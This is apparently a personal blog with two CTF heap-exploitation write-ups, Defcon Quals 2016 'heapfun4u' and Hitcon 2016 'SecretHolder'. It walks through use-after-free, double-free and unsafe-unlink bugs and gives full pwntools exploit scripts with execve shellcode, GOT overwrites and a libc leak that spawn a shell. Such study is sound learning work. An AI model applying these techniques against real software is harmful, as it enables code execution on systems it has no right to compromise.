Monday 23 July 2018

Defcon Quals 2016 - heapfun4u

This is me doing past challenges to learn heap exploitation :-P

 Analysis


Let's have a look at the binary.

root@kali:~/Documents/ctf/heap-exploitation/UAF# file heapfun4u
heapfun4u: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped


This binary has a custom heap implementation which means a lot of buggy implementation. A few of them which I found was :

>>> The buffer was created my calling mmap and it would return a buffer with RWX permission.

root@kali:~/Documents/ctf/heap-exploitation/UAF# ./heapfun4u
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: -1
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| W
1) 0x7f91579b6008 -- -1
Write where:



>>> So we can see that we are able to create a buffer of size -1.


root@kali:~/Documents/ctf/heap-exploitation/UAF# ./heapfun4u
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 20
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7feb2c210008 -- 20
Index: 1
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| W
1) 0x7feb2c210008 -- 20
Write where: 1
Write what: AAAA
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit



>>> Being able to write to the buffer even after freeing it.

So let's try something with what we have. When we perform the following allocation :

    A = alloc(0x80)
    B = alloc(0x80)
    C = alloc(0x80)

and free the buffer A then the previous pointer of A points to the wilderness.

if we free the buffer in the order

    free(A)
    free(C)
    free(B)

Then the pointers would be arranged as:

    1) 0x7f78eb5ea008 -- 20
    2) 0x7f78eb5ea028 -- 20
    3) 0x7f78eb5ea048 -- 20


gdb-peda$ x/50gx 0x7f78eb5ea008

0x7f78eb5ea008: 0x0000000000000000      0x00007f78eb5ea040
0x7f78eb5ea018: 0x00007f78eb5ea020      0x000000000000001a
0x7f78eb5ea028: 0x0000000000000000      0x00007f78eb5ea000
0x7f78eb5ea038: 0x0000000000000000      0x0000000000000fb9
0x7f78eb5ea048: 0x0000000000000000      0x0000000000000000
0x7f78eb5ea058: 0x0000000000000000      0x0000000000000f98
0x7f78eb5ea068: 0x0000000000000000      0x0000000000000000
0x7f78eb5ea078: 0x0000000000000000      0x0000000000000000



So the buffer C gets forward coalesed, so the previous pointer of A starts pointing to again the wilderness, A's next pointer points to B and B's previous pointer points to A.

So if we try to overwrite the pointer by writing to the freed buffer to the location we want the allocation to happen(for eg: GOT), that would not work and we would get an error of the pointer not being valid because the header of the block requires a size and it tries to dereference the pointer located at [rax+0x8] which in any case (which i came across) would not be a valid pointer. I was stuck here for a very long time.


So to write to a location what we can do is :

To write a size to the fake buffer we can utilize the Free function because it allows to write up to 256 bytes.

case 'F':
        sub_40079D();
        printf("Index: ", &buf);
        v3 = &buf;
        if ( read(0, &buf, 256uLL) <= 0 )
          exit(0);
        v9 = atoi(&buf) - 1;
        if ( v9 < 0 || v9 > 99 )
          exit(0);
        if ( !*(&s + v9) )
          exit(0);
        free_buffer((__int64)*(&s + v9));
        break;



Since we are able to corrupt a doubly linked free list we can wite an arbitrary pointer to that address which will overwrite the saved return pointer with the address of the shellcode saved in a buffer. We can directly execute the shellcode even when NX is enabled as the buffer allocated has RWX permissions.

So making use of the no checking of the pointers in the doubly linked list we first free A and C.



And now when we free B, C get merged with B and its size also gets added to the size of buffer B.


So now what we do is when we first free A and C we overwrite the Bck pointer with ADDR(assume) so program assumes A is at address  ADDR and at addr there is a size such that ADDR + size - 0x8 points to saved RIP. So when we free B saved RIP gets overwritten with the addr of the buffer where shellcode is written.

Exploit



from pwn import *
p = process('./heapfun4u')

shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54"
shellcode+="\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
context.bits=64

def allocate(size):
    p.recvuntil('| ')
    p.sendline('A')
    p.recvuntil('Size: ')
    p.sendline(str(size))
    return

def write(where, what):
    p.recvuntil('| ')
    p.sendline('W')
    p.recvuntil('Write where: ')
    p.sendline(str(where))
    p.recvuntil('Write what: ')
    p.send(str(what))
    return

def free(idx):
    p.recvuntil('| ')
    p.sendline('F')
    leak = p.recvline()
    leak = leak.split(')')[1]
    leak = leak.strip()
    leak = int(leak[:14], 16)
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    return leak

def niceguy():
    p.recvuntil('| ')
    p.sendline('N')
    leak = p.recvline()
    leak = leak.split(':')[1]
    leak = leak.strip()
    leak = int(leak, 16) + 260
    return leak

def call_ret():
    p.recvuntil('| ')
    p.sendline('E')
    p.recvline()

allocate(50)
allocate(22550)
allocate(50)
allocate(50)

leak = niceguy()

log.info('Leak : {}'.format(hex(leak)))

write(2, shellcode)
payload = fit({0:"1",2:"\x00",240:pack(0x38)},filler="A",length=248)
free(payload)
free(3)
payload = fit({40:pack(leak),48:"\x00"*2},filler="A",length=50)
write(3, payload)
free(2)
call_ret()

p.interactive()

Saturday 14 July 2018

Hitcon 2016 - SecretHolder [unsafe-unlink Vulnerability]

After a long time a pwn challenge. This challenge is of 100 points and is a heap exploitation challenge.

Analysis


vagrant@vagrant:/vagrant/Hitcon2016$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
vagrant@vagrant:/vagrant/Hitcon2016$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret



So it is a 64-bit binary. Let's have a look in IDA.

    while ( 1 )
      {
        puts("1. Keep secret");
        puts("2. Wipe secret");

        puts("3. Renew secret");
        memset(&s, 0, 4uLL);
        read(0, &s, 4uLL);
        v3 = atoi(&s);
        switch ( v3 )
        {
              case 2:
                wipe_secret(&s, &s);
                break;
              case 3:
                renew_secret(&s, &s);
                break;
              case 1:
                keep_secret(&s, &s);
                break;
        }
      }



Keeping a secret note is done as

    read(0, &s, 4uLL);
    v0 = atoi(&s);
    if ( v0 == 2 )
    {
        if ( !dword_6020B8 )
        {
            qword_6020A0 = calloc(1uLL, 0xFA0uLL);
            dword_6020B8 = 1;
            puts("Tell me your secret: ");
            read(0, qword_6020A0, 0xFA0uLL);
        }
    }
    else if ( v0 == 3 )
    {
        if ( !dword_6020BC )
        {
            qword_6020A8 = calloc(1uLL, 0x61A80uLL);
            dword_6020BC = 1;
            puts("Tell me your secret: ");
            read(0, qword_6020A8, 0x61A80uLL);
        }
    }
    else if ( v0 == 1 && !dword_6020C0 )
    {
        buf = calloc(1uLL, 0x28uLL);
        dword_6020C0 = 1;
        puts("Tell me your secret: ");
        read(0, buf, 0x28uLL);
    }



So it first checks to see whether the specific size of allocation is already done or not by quering a variable which either holds 1 or 0 for already allocated or freed buffer and then makes a request to calloc to allocate a zeroed memory in heap. The sizes of allocation for small, big and huge are 40, 4000, 40000 bytes respectively.

Let's have a look at wipe_secret function:

    read(0, &s, 4uLL);
    v0 = atoi(&s);
    switch ( v0 )
    {
        case 2:
            free(qword_6020A0);
            dword_6020B8 = 0;
            break;
        case 3:
            free(qword_6020A8);
            dword_6020BC = 0;
            break;
        case 1:
            free(buf);
            dword_6020C0 = 0;
            break;
    }



So the function first frees the buffer in which secret is kept and then zeroes out the variable assciated with the allocation of the variable. But wait, it does not check whether the buffer is already allocated or not and here lies the vulnerability. We can free a buffer twice and exploit the double-free(you can read more about double free here and here). A more detailed example can be found .here


First Step - Double Free


    1. Make a small allocation
    2. Free the small allocation
    3. Make a big allocation
    4. Free the small allocation <---- Double Free
    5. Make a small allocation

    Keepsecret(1, "A"*0x10) # small allocate
    Wipesecret(1)           # small free
   
    Keepsecret(2, "B"*0x20) # big allocate
    Wipesecret(1)           # small free
   
    Keepsecret(1, "C"*8)    # small allocate


For malloc the big allocation is free but we can still use it in our code to make a fake chunk to cause a unsafe-unlink of the chunks :)

Heap now looks like this

    gef➤  x/50gx 0x0000000000feb000                          
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x4343434343434343      0x000000000000000a
    0xfeb020:       0x0000000000000000      0x0000000000000000
    0xfeb030:       0x0000000000000000      0x0000000000020fd1 <----Top chunk
    0xfeb040:       0x0000000000000000      0x0000000000000000


Now to make a fake chunk we have to make use of a huge allocation. As we know, for an allocation of very large size, allocation is done by mmap instead of malloc, which results in the allocation in a very high memory address and we don't want that. We want the allocation to happen just after the small allocation. For this we make a huge allocation, free it and again make the allocation.

    Keepsecret(3, "E"*0x20) # huge allocate
    Wipesecret(3)           # huge free
    Keepsecret(3, "F"*0x20) # huge allocate


This results the huge allocation just after the small allocation.

    gef➤  x/50gx 0x0000000000feb000                          
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x4343434343434343      0x000000000000000a
    0xfeb020:       0x0000000000000000      0x0000000000000000
    0xfeb030:       0x0000000000000000      0x0000000000061a91
    0xfeb040:       0x4646464646464646      0x4646464646464646
    0xfeb050:       0x4646464646464646      0x4646464646464646
    0xfeb060:       0x000000000000000a      0x0000000000000000
    0xfeb070:       0x0000000000000000      0x0000000000000000


Now, we can make use of the big allocation which according to malloc is free but we can use it to craft the fake chunk and perform an unlink attack.


Unsafe Unlink


For the unlink attack we make use of specially crafted chunks which contain the FD and BK pointers, having the following properties:

                                                P->fd->bk == P || P->bk->fd == P

and the next chunk's prev_in_use bit should be unset. So when we free the chunk unlink does its work by writing to pointers.

                                                    P->FD->BK = P->BK
                                                    P->BK->FD = P->FD

So when we craft the buffer like this
                                                 
    RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
 
    gef➤  x/50gx 0x0000000000feb000
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x0000000000000000      0x0000000000081ff1
    0xfeb020:       0x0000000000602098      0x00000000006020a0
    0xfeb030:       0x0000000000000020      0x0000000000061a90
    0xfeb040:       0x4646464646464646      0x4646464646464646
    0xfeb050:       0x4646464646464646      0x4646464646464646
    0xfeb060:       0x000000000000000a      0x0000000000000000


We are now writing to the address 0x60200B <--- 0x602098. Since 0x60200B is the address for the small allocation buffer, the small buffer now points to 0x602098 and we have full control over that buffer.

Leak LIBC


Let's now write some pointers to the small buffer. We try to make a GOT overwrite. This can be done by overwriting FREE_GOT with PUTS_PLT.
 
    RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
    RenewSecret(2, p64(puts_plt))


And then we give READ_PLT as parameter to the puts.

    RenewSecret(1, p64(read_got))

    gef➤  x/50gx 0x0000000000602090
    0x602090 <stdout>:      0x00007f8fd9923620      0x4141414141414141
    0x6020a0:       0x0000000000602040      0x4141414141414141
    0x6020b0:       0x00000000006020a0      0x0000000000000001

    gef➤  x/x 0x0000000000602040
    0x602040 <read@got.plt>:        0x00007f8fd9655250


    gef➤  x/x 0x0000000000602018                     
    0x602018 <free@got.plt>:        0x00000000004006c0
    gef➤  x/x 0x00000000004006c0                     
    0x4006c0 <puts@plt>:    0x01680020195a25ff       

Full Exploit

 

from pwn import *

small_secret = 0x6020B0
big_secret = 0x6020A0
puts_plt = 0x4006c0
free_got = 0x602018
read_got = 0x602040
atoi_got = 0x602070

p = process("./SecretHolder")

def Keepsecret(size, data):
    p.recvuntil("3. Renew secret\n")
    p.sendline('1')
    p.recvuntil("3. Huge secret\n")
    p.sendline(str(size))
    p.recvuntil("Tell me your secret:")
    p.sendline(data)

def Wipesecret(size):
    p.recvuntil("3. Renew secret\n")
    p.sendline('2')
    p.recvuntil("Which Secret do you want to wipe?\n")
    p.sendline(str(size))

def RenewSecret(size, data):
    p.recvuntil("3. Renew secret\n")
    p.sendline('3')
    p.recvuntil('3. Huge secret\n')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(data)

def Pwn():
    Keepsecret(1, "A"*0x10) # small allocate
    Wipesecret(1)           # small free

    Keepsecret(2, "B"*0x20) # big allocate
    Wipesecret(1)           # small free


    Keepsecret(1, "C"*8)    # small allocate
    pause()
    Keepsecret(3, "E"*0x20) # huge allocate
    Wipesecret(3)           # huge free
    Keepsecret(3, "F"*0x20) # huge allocate

    pause()
    RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
    pause()
    Wipesecret(3)           # huge free

    RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
    RenewSecret(2, p64(puts_plt))
    RenewSecret(1, p64(read_got))
    pause()
    Wipesecret(2)

    leak = p.recv()
    #print leak
    leak = p.recvline()

    read_addr = u64(leak[:6] + "\x00\x00")
    log.info("read addr : " + hex(read_addr))
    libc_addr = read_addr - 0xf7250
    log.info("libc addr : " + hex(libc_addr))
    system_addr = libc_addr + 0x45390
    log.info("system addr : " + hex(system_addr))


    RenewSecret(1, p64(atoi_got) + "A"*8 + p64(big_secret) + p64(1))
    RenewSecret(2, p64(system_addr))

    p.interactive()

if __name__ == "__main__":
    Pwn()